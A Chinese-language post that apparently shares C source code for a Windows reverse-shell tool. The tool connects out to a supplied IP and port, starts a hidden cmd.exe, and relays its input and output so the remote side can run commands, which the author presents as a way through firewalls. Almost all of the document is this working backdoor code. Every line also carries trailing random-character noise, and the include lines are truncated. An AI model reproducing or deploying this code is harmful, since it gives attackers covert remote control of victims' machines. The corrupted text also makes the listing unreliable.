这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >V NMQ
6tP^_9njy
/* ============================== /\2 s%b*
Rebound port in Windows NT 3C.bzw^
By wind,2006/7 P_w+p"@m
===============================*/ w2Pkw'a{
#include -[ F<u
#include N>VA`+aFR
n-p|7N
#pragma comment(lib,"wsock32.lib") Cgt{5
Dtelr=/s
void OutputShell(); Nk]r2^.z[
SOCKET sClient; [t,7H
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W|~Ehg
U{HJNftdpm
void main(int argc,char **argv) z )k\p'0"
{ i5|!MIY
WSADATA stWsaData; ?(hdV?8)P
int nRet; yay{lP}b"
SOCKADDR_IN stSaiClient,stSaiServer; RzNv|
{V8v
if(argc != 3) ~GMlnA]6
{ !K_%@|: 7%
printf("Useage:\n\rRebound DestIP DestPort\n"); \U,.!'+
return; GYCc)Guc
} eFbr1IV
g3j@o/Y
WSAStartup(MAKEWORD(2,2),&stWsaData); WFy90*@Z
M" %w9)@
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '@rGX+"
v dyu =*Y
stSaiClient.sin_family = AF_INET; iYBs )
stSaiClient.sin_port = htons(0); |odl~juU
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O']-<E`1k
p ^T0(\1
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $--W,ov5j
{ 4R@3jGXb8q
printf("Bind Socket Failed!\n"); `2Vc*R
return; }7k+tJ<
} Fn$EP:>
a+IU<O-J?
stSaiServer.sin_family = AF_INET; #O qfyY!
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G[)QGZ}8b
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HLa|ycB%
,M5J~Ga
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T+RfMEdr
{ KZJ;O7'`
printf("Connect Error!"); Kp8!^os
return; ;E(%s=i
} <SbW
QbN
OutputShell(); $D\SueZ
} G5?Dt-;I
wSnY;Z9W_
void OutputShell() U!TFFkX[
{ ]xbR:CYJ
char szBuff[1024]; (?D47^F &
SECURITY_ATTRIBUTES stSecurityAttributes; b$H{|[
OSVERSIONINFO stOsversionInfo; 1]m]b4]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M+9G^o)u
STARTUPINFO stStartupInfo; Whod_Uk
char *szShell; 2t*@P"e!
PROCESS_INFORMATION stProcessInformation; "\U$aaF
unsigned long lBytesRead; o"J}@nF
_6(QbY'JV`
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v4DF
#O
ZWxq<&Cg
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rhsSV3iM
stSecurityAttributes.lpSecurityDescriptor = 0; Z@=#ry
stSecurityAttributes.bInheritHandle = TRUE; CFkM}`v0
*dL!)+:d
E_MGejm@
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G(EiDo&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); SZea[~&
1|Us"GQ(n
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &AG,]#
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e@F9'z4
stStartupInfo.wShowWindow = SW_HIDE; m
=
"N4!
stStartupInfo.hStdInput = hReadPipe; f)~urGazS
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DI"mi1ObE
Rku9? zf^
GetVersionEx(&stOsversionInfo); Szsq|T
ZC@sUj"
switch(stOsversionInfo.dwPlatformId) $RfM}!7?
{ swntz
case 1: 5\A[ra
szShell = "command.com"; {Ug?k<h7|
break; ^duNEu0*
default: ,nD:W
szShell = "cmd.exe"; @YHB>rNf(7
break; !Y8us"
} d;daYjOm
T&
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 51u8.%{4
!U/iY%NE
send(sClient,szMsg,77,0); ]g2Y/\)a
while(1) ]'3e#Cqeh
{ E9!u|&$S
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J]^)vxm3
if(lBytesRead) y'(l]F1]
{ PF+v[h;,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |$`)d87,
send(sClient,szBuff,lBytesRead,0); l\vtz5L
} Py3Xvudv
else A]id*RtY
{ *tC]Z&5
lBytesRead=recv(sClient,szBuff,1024,0); &.,ZU\`zT
if(lBytesRead<=0) break; >jD,%yG
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |W];8
} n[H3b}
} :UGc6
. T6fPEb
return; q$ (@
}